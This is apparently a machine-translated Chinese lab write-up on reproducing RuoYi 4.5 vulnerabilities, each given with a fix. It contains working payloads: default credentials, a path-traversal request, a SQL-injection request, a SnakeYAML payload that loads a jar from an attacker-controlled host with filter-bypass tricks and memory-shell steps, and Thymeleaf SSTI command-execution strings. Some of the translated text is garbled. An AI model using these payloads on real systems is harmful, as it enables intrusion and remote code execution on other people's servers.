发布于12月5日12月5日 ## 免责声明 本文仅供参考和学习交流。用户应对因使用本文提供的信息而造成的任何直接或间接的后果和损失承担全部责任。本文作者及本公众号团队对此不承担任何责任。请您在使用本文内容时仔细评估风险并做出独立判断。谢谢! ## 前言 由于演练中经常会遇到若一,因此专门搭建了一个射击场来重现漏洞并进行修复。本文涵盖靶场搭建、漏洞利用(前端shiro漏洞、弱口令、命令执行、代码执行、SSTI、文件下载、SQL注入、文件读取漏洞及绕过)以及漏洞修复方法。 ## 文本 ### 1.环境设置 [https://github.com/yangzongzhuan/RuoYi/releases?page=2](https://github.com/yangzongzhuan/RuoYi/releases?page=2) - 由于存在该漏洞的版本有限,因此请选择4.5版本进行下载。下载后放入编辑器修改数据库连接配置 - 然后使用maven打包 - 打包好的jar包在ruoyi-admin\target下 - 然后解决数据库问题,即创建库和导入表(我使用phpstudy for mysql) \\# 创建数据库 创建数据库 \\# 导入两个.sql文件(两个.sql文件都在Ruoyi目录下的sql文件夹中) ```` mysql-uroot-p--default-character-set=utf8ryRuoYi-4.5.0\\RuoYi-4.5.0\\sql\\quartz.sqlmy sql-uroot-p--default-character-set=utf8ryRuoYi-4.5.0\\RuoYi-4.5.0\\sql\\ry_20201017.sql ```` 这里有一个陷阱:如果你在Windows环境下构建目标无人机,可能会出现编码问题。 所以添加了导入命令 \\`--default-character-set=utf8\\` - 最后只需将jar包放入目标机器中运行即可 ### 2.漏洞复现 首先看组件版本 **2.1。前端shiro反序列化漏洞** 漏洞验证: 注意:Shiro 1.4.2 版本后,Shiro 的加密模式从AES-CBC 更改为AES-GCM 漏洞利用工具:`https://github.com/Ares-X/shiro-exploit.git` 错误修复: 生成和使用密钥的正确方法已写在原始密钥旁边。您需要将默认密钥替换为以这种方式生成的新密钥来修复它。 **2.2 后台默认密码** 漏洞验证: admin/admin123为默认密码,可以登录后台 还有ry/admin123也可以登录后端 修复方法:后台头像有修改密码功能。 **2.3 文件读取** 漏洞验证: 在D:/ruoyi/目录下创建1.txt文件,然后发出GET请求 /common/download/resource?resource=/profile/./1.txt 注意: ```` http://IP/common/download/resource?resource=/profile/./1.txt#对应目录为\'D:/ruoyi/uploadPath\'+\'/./1.txt\'uploadPath目录不需要存在。 ```` 错误修复: 升级若仪版本到最新;添加文件下载验证。 **2.4 SQL注入** 漏洞验证: 进入后台后,拦截角色管理页面的请求包 - 角色编辑界面 -com/ruoyi/generator/controller/GenController下的/tool/gen/createTable路由 ```` POST /system/role/list HTTP/1.1Host: 127.0.0.1Content-Length: 179sec-ch-ua: \'Chromium\';v=\'109\', \'Not_A Brand\';v=\'99\'Accept: application/json, text/javascript, /; q=0.01Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestsec-ch-ua-mobile:0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,如Gecko) Chrome/109.0.5414.120 Safari/537.36sec-ch-ua-platform: \'Windows\'Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/system/roleAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closepageSize=pageNum=orderByColumn=isAsc=roleName=roleKey=status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=和extractvalue(1,concat(0x7e,(select数据库()),0x7e)) `` 错误修复: 升级到最新版本 注意\'${\'等字符串的拼接 **2.5 后台命令执行** 漏洞验证: **若仪4.6.2** 可以在这个位置添加计划任务,ry用户也可以 org.yaml.snakeyaml.Yaml.load('!javax.script.ScriptEngineManager \\[!java.net.URLClassLoader \\[\\[!java.net.URL \\[\'http://攻击机ip/yaml-payload.jar\'\\]\\]\\]\\]') 但这里不能直接执行。需要从服务器调用外部jar包。此时需要一个可以请求的IP并打包一个jar包 ```` # 下载源文件https://github.com/artsploit/yaml-payload # 修改要执行的命令# 编译java文件javac src/artsploit/AwesomeScriptEngineFactory.java 或javac src\\artsploit\\AwesomeScriptEngineFactory.java# 打包成jar包jar -cvf yaml-payload.jar -C src/. # 将其放在服务器上并启动http服务。为了省事,请使用pythonpython3 -m http.server 端口号或python2 -m SimpleHTTPServer 端口号。 `` 有时候命令执行会出现延迟,不要太心急,测试完后记得关掉定时任务,不然就变成纸牌了. 旁路 版本4.6.2=Ruoyi4.7.2有黑名单,禁止调用ldap、http、https、rmi等协议。您可以使用符号来绕过它,也可以添加多个引号(偶数或奇数)。 \\[!java.net.URLClassLoader \\[\\[!java.net.URL \\[\'h't't'p'://127.0.0.1:88/yaml-payload.jar\'\\]\\]\\]\\]') 记忆马 ```` # 下载https://github.com/lz2y/yaml-payload-for-ruoyi# 打包mvn clean package# 将计划任务改为打包后的jar包名,内存马使用说明中有。 `` 错误修复: 添加通话白名单并升级至Zoyi最新版本。 **2.6 SSTI** 漏洞验证: =thymeleaf-spring5:3.0.12 登录后访问/demo/form/localrefresh页面,点击刷新抓包,修改fragment参数值为payload \\# 有效负载 ${T(java.lang.Runtime).getRuntime().exec(\'calc\')} 旁路 ```` __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(\'calc\').getInputStream()).next()}__:x1;/__${T(java.lang.Runtime).getRuntime().exec(\'calc\')}__:x1__${T (java.lang.Runtime).getRuntime().exec(\'calc\')}__:x1__${T (java.lang.Runtime).getRuntime().exec(\'calc\')}__:x/1__${T %20( %0aRuntime %09). %0dgetRuntime %0a( %09) %0d。 %00exec('计算')} __:x ```` 错误修复: 升级thymeleaf组件版本;限制对相关接口的访问。 ### 参考文章 [https://xz.aliyun.com/t/11928](https://xz.aliyun.com/t/11928) [https://www.cnblogs.com/wavewindsor/p/17880329.html](https://www.cnblogs.com/wavewindsor/p/17880329.html) [https://www.cnpanda.net/sec/1063.html](https://www.cnpanda.net/sec/1063.html) [https://cn-sec.com/archives/769549.html](https://cn-sec.com/archives/769549.html) [https://mp.weixin.qq.com/s/dwd\\_Vy-pd4SZ1To-iXdFxw](https://mp.weixin.qq.com/s/dwd_Vy-pd4SZ1To-iXdFxw) 转载自freebuf: [https://www.freebuf.com/articles/web/390095.html](https://www.freebuf.com/articles/web/390095.html)作者:轩智安全实验室
创建帐户或登录后发表意见